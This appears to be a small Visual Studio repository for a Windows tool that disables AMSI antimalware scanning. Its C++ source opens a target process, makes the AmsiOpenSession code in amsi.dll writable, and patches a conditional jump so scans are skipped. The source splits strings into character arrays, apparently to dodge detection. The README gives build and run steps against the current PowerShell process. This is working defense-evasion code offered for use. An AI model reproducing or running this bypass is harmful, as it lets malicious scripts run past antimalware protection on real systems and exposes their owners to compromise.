├── AmsiBypass-OpenSession
├── AmsiOpenSession.user
├── AmsiOpenSession.vcxproj.user
├── AmsiOpenSession.filters
├── AmsiOpenSession.sln
├── AmsiOpenSession.cpp
└── AmsiOpenSession.vcxproj
└── README.md
/AmsiBypass-OpenSession/AmsiOpenSession.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/AmsiBypass-OpenSession/AmsiOpenSession.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # AmsiBypass-OpenSession
2 | This code bypass AMSI by setting JE instruction to JNE in assembly of amsi.dll file
3 |
4 | # Credits :
5 | The original code and idea is from : https://github.com/TheD1rkMtr/AMSI_patch
6 |
7 | # steps to Run :
8 |
9 | 1. You can either download the prebuild exe of file from release , or can compile your own with help of solution file
10 | 2. after having AmsiOpenSession.exe , run it in powershell with pid of the process , where AMSI will be triggered
11 | 3. we will be setting pid of current process only so , we will run `AmsiOpenSession.exe $pid`
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/AmsiBypass-OpenSession/AmsiOpenSession.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/AmsiBypass-OpenSession/AmsiOpenSession.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.32106.194
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AmsiOpenSession", "AmsiOpenSession.vcxproj", "{E09F4899-D8B3-4282-9E3A-B20EE9A3D463}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Debug|x64.ActiveCfg = Debug|x64
17 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Debug|x64.Build.0 = Debug|x64
18 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Debug|x86.ActiveCfg = Debug|Win32
19 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Debug|x86.Build.0 = Debug|Win32
20 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Release|x64.ActiveCfg = Release|x64
21 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Release|x64.Build.0 = Release|x64
22 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Release|x86.ActiveCfg = Release|Win32
23 | {E09F4899-D8B3-4282-9E3A-B20EE9A3D463}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {7BF3C216-5D9B-4C44-B4C7-53451AF96E24}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/AmsiBypass-OpenSession/AmsiOpenSession.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #pragma comment(lib, "ntdll")
4 |
5 | #ifndef NT_SUCCESS
6 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
7 | #endif
8 |
9 | char ams1[] = { 'a','m','s','i','.','d','l','l',0 };
10 | char ams10p3n[] = { 'A','m','s','i','O','p','e','n','S','e','s','s','i','o','n',0 };
11 |
12 | EXTERN_C NTSTATUS NTAPI NtProtectVirtualMemory(
13 | IN HANDLE ProcessHandle,
14 | IN OUT PVOID* BaseAddress,
15 | IN OUT PSIZE_T RegionSize,
16 | IN ULONG NewProtect,
17 | OUT PULONG OldProtect
18 | );
19 |
20 | EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(
21 | IN HANDLE ProcessHandle,
22 | IN PVOID BaseAddress,
23 | IN PVOID Buffer,
24 | IN SIZE_T NumberOfBytesToWrite,
25 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL
26 | );
27 |
28 | DWORD64 GetAddr(LPVOID addr) {
29 | for (int i = 0; i < 1024; i++) {
30 | if (*((PBYTE)addr + i) == 0x74) return (DWORD64)addr + i;
31 | }
32 | }
33 |
34 | void AMS1patch1(HANDLE hProc) {
35 | void* ptr = GetProcAddress(LoadLibraryA(ams1), ams10p3n);
36 |
37 | char Patch[1];
38 | Patch[0] = 0x75;
39 |
40 | DWORD OldProtect = 0;
41 | SIZE_T memPage = 0x1000;
42 | void* ptraddr2 = (void*)GetAddr(ptr);
43 | //printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)Patch);
44 |
45 | NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hProc, &ptraddr2, &memPage, PAGE_EXECUTE_READWRITE, &OldProtect);
46 | if (!NT_SUCCESS(NtProtectStatus1)) {
47 | printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
48 | return;
49 | }
50 |
51 | NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hProc, (void*)GetAddr(ptr), Patch, 1, nullptr);
52 | if (!NT_SUCCESS(NtWriteStatus)) {
53 | printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
54 | return;
55 | }
56 |
57 | NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hProc, &ptraddr2, &memPage, OldProtect, &OldProtect);
58 | if (!NT_SUCCESS(NtProtectStatus2)) {
59 | printf("[!] Failed in NtProtectVirtualMemory2 (%u)\n", GetLastError());
60 | return;
61 | }
62 |
63 | printf("\n[+] AMSI patched !!\n\n");
64 | }
65 |
66 | int main(int argc, char** argv) {
67 | HANDLE hProc;
68 |
69 | if (argc != 2) {
70 | printf("USAGE: AMS1-Patch.exe \n");
71 | return 1;
72 | }
73 |
74 | hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)atoi(argv[1]));
75 | if (!hProc) {
76 | printf("Failed in OpenProcess (%u)\n", GetLastError());
77 | return 2;
78 | }
79 |
80 | AMS1patch1(hProc);
81 |
82 | CloseHandle(hProc);
83 |
84 | return 0;
85 | }
86 |
--------------------------------------------------------------------------------
/AmsiBypass-OpenSession/AmsiOpenSession.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {e09f4899-d8b3-4282-9e3a-b20ee9a3d463}
25 | AmsiOpenSession
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
--------------------------------------------------------------------------------